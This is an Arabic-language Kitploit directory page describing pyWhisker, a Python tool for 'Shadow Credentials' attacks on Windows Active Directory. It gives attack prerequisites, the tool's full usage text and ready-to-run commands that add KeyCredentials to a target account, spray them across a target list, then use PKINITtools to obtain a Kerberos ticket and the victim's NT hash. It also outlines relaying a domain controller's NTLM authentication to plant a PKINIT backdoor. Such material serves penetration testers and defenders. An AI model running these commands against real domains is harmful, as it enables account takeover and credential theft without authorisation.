Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pywhisker — نسخة بايثون من أداة C# لهجمات "Shadow Credentials" | Kitploit
أدوات/GitHubGitHub/shutdownrepo/pywhisker
تصعيد الامتيازاتالاستغلالاختبار الاختراقالمصادقة
GitHubshutdownrepo/pywhisker

pywhisker

نسخة بايثون من أداة C# لهجمات "Shadow Credentials"

عرض المستودع
9221075منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

pyWhisker

pyWhisker هو معادل بلغة بايثون للأداة الأصلية Whisker التي صنعها Elad Shamir والمكتوبة بلغة C#. تسمح هذه الأداة للمستخدمين بالتلاعب بخاصية msDS-KeyCredentialLink لمستخدم/كمبيوتر هدف للحصول على سيطرة كاملة على ذلك الكائن. تعتمد على Impacket وعلى معادل بلغة بايثون لـ DSInternals الخاص بـ Michael Grafnetter يُسمى PyDSInternals من صنع podalirius. هذه الأداة، إلى جانب PKINITtools الخاصة بـ Dirk-jan، تسمح باستغلال أولي كامل على الأنظمة المبنية على يونكس فقط.

المتطلبات الأساسية لهذا الهجوم هي كما يلي:

  1. يجب أن يكون مستوى الوظيفة للنطاق الهدف Windows Server 2016 أو أعلى.
  2. يجب أن يحتوي النطاق الهدف على وحدة تحكم نطاق واحدة على الأقل تعمل بنظام Windows Server 2016 أو أعلى.
  3. يجب أن يكون لوحدة تحكم النطاق المستخدمة أثناء الهجوم شهادتها ومفاتيحها الخاصة (وهذا يعني إما أن المؤسسة يجب أن تمتلك AD CS، أو PKI، أو CA أو ما شابه ذلك).
  4. يجب أن يكون المهاجم مسيطرًا على حساب قادر على الكتابة في خاصية msDs-KeyCredentialLink لحساب المستخدم أو الكمبيوتر الهدف.

لماذا بعض المتطلبات؟

  • المتطلبان 1 و2 لأن ميزات PKINIT تم تقديمها مع Windows Server 2016.
  • المتطلب 3 لأن وحدة التحكم في النطاق تحتاج إلى شهادتها ومفاتيحها الخاصة لتبادل مفتاح الجلسة أثناء معاملة AS_REQ <-> AS_REP.

سيتم رفع KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP إذا لم يتم استيفاء المتطلب رقم 3.

مزيد من المعلومات حول هذه الأولية "Shadow Credentials":

  • Shadow Credentials: إساءة استخدام تعيين حساب الثقة الرئيسي للاستيلاء
  • The Hacker Recipes - إساءة استخدام ACEs و DACL
  • The Hacker Recipes - بيانات اعتماد الظل

الاستخدام

يمكن استخدام pyWhisker لتنفيذ إجراءات متنوعة على خاصية msDs-KeyCredentialLink لهدف:

  • list: عرض جميع معرفات KeyCredentials الحالية ووقت الإنشاء
  • add: إضافة KeyCredential جديد إلى msDs-KeyCredentialLink
  • spray: إضافة KeyCredential جديد بشكل عشوائي إلى msDs-KeyCredentialLink
  • remove: إزالة KeyCredential من msDs-KeyCredentialLink
  • clear: إزالة جميع KeyCredentials من msDs-KeyCredentialLink
  • info: طباعة جميع المعلومات الموجودة في هيكل KeyCredential
  • export: تصدير جميع KeyCredentials من msDs-KeyCredentialLink بتنسيق JSON
  • import: استبدال msDs-KeyCredentialLink بـ KeyCredentials من ملف JSON

يدعم pyWhisker طرق المصادقة التالية:

  • (NTLM) كلمة مرور نصية واضحة
  • (NTLM) Pass-the-hash
  • (Kerberos) كلمة مرور نصية واضحة
  • (Kerberos) Pass-the-key / Overpass-the-hash
  • (Kerberos) Pass-the-cache (نوع من Pass-the-ticket)
  • (LDAP عبر Schannel) Pass-the-cert

من بين أشياء أخرى، يدعم pyWhisker مستويات متعددة من الإسهاب، فقط ألحق -v، -vv، ... إلى الأمر :)

يمكن لـ pyWhisker أيضًا العمل عبر النطاقات، انظر الوسيطة -td/--target-domain.

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

وسائط اختيارية:
  -h, --help            إظهار رسالة المساعدة هذه والخروج
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        الحساب الهدف
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        مسار إلى ملف يحتوي على أسماء الحسابات الهدف (واحد لكل سطر)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        الإجراء الذي سيتم تنفيذه على msDS-KeyCredentialLink
  --use-ldaps           استخدام LDAPS بدلاً من LDAP
  --use-schannel        استخدام LDAP Schannel (TLS) للمصادقة المستندة إلى الشهادة
  -v, --verbose         مستوى الإسهاب (-v للإسهاب، -vv للتصحيح)
  -q, --quiet           عدم عرض أي معلومات على الإطلاق

المصادقة والاتصال:
  --dc-ip ip address    عنوان IP لوحدة تحكم النطاق أو KDC لـ Kerberos. إذا تم حذفه، فسيتم استخدام جزء النطاق (FQDN) المحدد في معرّف الهوية
  -d DOMAIN, --domain DOMAIN
                        النطاق (FQDN) للمصادقة عليه
  -u USER, --user USER  المستخدم للمصادقة به
  -crt, --certfile CERTFILE
                        مسار إلى شهادة المستخدم (تنسيق PEM) لمصادقة Schannel
  -key, --keyfile KEYFILE
                        مسار إلى المفتاح الخاص للمستخدم (تنسيق PEM) لمصادقة Schannel
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        النطاق الهدف (إذا كان مختلفًا عن نطاق المستخدم المصادق)

  --no-pass             لا تطلب كلمة مرور (مفيد لـ -k)
  -p PASSWORD, --password PASSWORD
                        كلمة المرور للمصادقة بها
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        تجزئات NT/LM، التنسيق هو LMhash:NThash
  --aes-key hex key     مفتاح AES لاستخدامه في مصادقة Kerberos (128 أو 256 بت)
  -k, --kerberos        استخدام مصادقة Kerberos. يحصل على بيانات الاعتماد من ملف .ccache (KRB5CCNAME) بناءً على معلمات الهدف. إذا تعذر العثور على بيانات اعتماد صالحة، فسيستخدم تلك المحددة في سطر الأوامر

الوسائط عند تعيين الإجراء إلى add:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        كلمة مرور لشهادة PFX الموقعة ذاتيًا المخزنة (ستكون عشوائية إذا لم يتم تعيينها، غير مطلوبة عند التصدير إلى PEM)
  -f FILENAME, --filename FILENAME
                        اسم الملف لتخزين شهادة ومفتاح PEM أو PFX الموقع ذاتيًا المُنشأ، أو اسم الملف لإجراءات "import"/"export"
  -e {PEM,PFX}, --export {PEM,PFX}
                        اختر تصدير الشهادة + المفتاح الخاص بتنسيق PEM أو PFX (أي #PKCS12) (الافتراضي: PFX))

الوسائط عند تعيين الإجراء إلى remove:
  -D DEVICE_ID, --device-id DEVICE_ID
                        معرف الجهاز لـ KeyCredentialLink المراد إزالته عند تعيين الإجراء إلى remove

فيما يلي أمثلة ولقطات شاشة لما يمكن أن يفعله pyWhisker.

العرض والحصول على المعلومات

لدى pyWhisker القدرة على عرض KeyCredentials الموجودة. بالإضافة إلى ذلك، يمكنه توسيع الهيكل بأكمله لعرض كل جزء من المعلومات التي يحتوي عليها هذا الكائن (بما في ذلك معلمات المفتاح العام RSA).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

المسح والإزالة

لدى pyWhisker القدرة على إزالة قيم محددة أو مسح الخاصية بالكامل.

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

إضافة قيم جديدة

لدى pyWhisker القدرة على إنشاء مفاتيح RSA، وشهادة X509، وهيكل KeyCredential، وكتابة المعلومات الضرورية كقيم جديدة لخاصية msDs-KeyCredentialLink. يمكن تصدير الشهادة بتنسيق PFX (#PKCS12، الشهادة + المفتاح الخاص محمية بكلمة مرور) أو بتنسيق PEM (شهادة PEM، مفتاح خاص PEM، بدون حاجة لكلمة مرور).

مثال مع تنسيق PFX

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

بمجرد إنشاء القيم وإضافتها بواسطة pyWhisker، يمكن طلب TGT باستخدام gettgtpkinit.py. يمكن بعد ذلك استعادة تجزئة NT باستخدام getnthash.py.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

مثال مع تنسيق PEM

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

بمجرد إنشاء القيم وإضافتها بواسطة pyWhisker، يمكن طلب TGT باستخدام gettgtpkinit.py. يمكن بعد ذلك استعادة تجزئة NT باستخدام getnthash.py.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

إضافة قيم جديدة بشكل عشوائي (Spray)

يمكن لـ pyWhisker ربط عمليات إضافة KeyCredentials متعددة لمجموعة من الأهداف، أي الرش (إذا كانت بيانات الاعتماد المستخدمة تملك الصلاحيات المناسبة).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

الاستيراد والتصدير

يمكن تحليل KeyCredentials المخزنة في خاصية msDs-KeyCredentialLink وهيكلتها وحفظها كـ JSON.

يمكن بعد ذلك استخدام ملف JSON المُصدر لاستعادة خاصية msDs-KeyCredentialLink في الحالة التي كانت عليها وقت التصدير.

المصادقة المترجلة (Relayed authentication)

تم دمج طلب سحب في ntlmrelayx لتضمين ميزة "الإضافة" من pyWhisker.

معرفة مفيدة

لا يمكن لكائنات المستخدمين تعديل خاصية msDS-KeyCredentialLink الخاصة بهم. ومع ذلك، يمكن لكائنات الكمبيوتر القيام بذلك. هذا يعني أن السيناريو التالي قد ينجح: تحفيز مصادقة NTLM من DC01، ترحيلها إلى DC02، وجعل pyWhisker يعدل خاصية DC01 لإنشاء باب خلفي لمصادقة Kerberos PKINIT المسبقة عليه.

يمكن لكائنات الكمبيوتر تعديل خاصية msDS-KeyCredentialLink الخاصة بها ولكن يمكنها فقط إضافة KeyCredential في حالة عدم وجود أي منها بالفعل.

إذا واجهت أخطاء، فتأكد من عدم وجود فرق زمني بين جهاز المهاجم ومركز توزيع المفاتيح (عادةً وحدة تحكم النطاق). لتجنب هذا الخطأ، تكون الشهادات التي تم إنشاؤها بواسطة أداة pyWhisker صالحة لمدة 40 عامًا قبل التاريخ الحالي و40 عامًا بعده.

الشكر والمراجع

  • الشكر لـ Dirk-jan على عمله في PKINITtools. لقد خططنا في البداية لإعادة هيكلة نصوص Impacket (خاصة gettgt.py) لتنفيذ مصادقة PKINIT غير المتماثلة المسبقة لـ Kerberos. لقد أنقذنا من الكثير من المتاعب بكتابتها قبلنا!

  • الشكر للفريق بأكمله وراء Impacket والمساهمين فيه.

  • الشكر لـ Elad Shamir الذي أنشأ الأداة الأصلية بلغة C# (Whisker) ولـ Michael Grafnetter الذي صنع DSInternals، وهي مكتبة تقوم بمعظم العمل الشاق لـ Whisker. كما كان هو من قدم العرض التوضيحي الأصلي في Black Hat الذي يعرض الأولية الهجومية.

تنزيل الأداة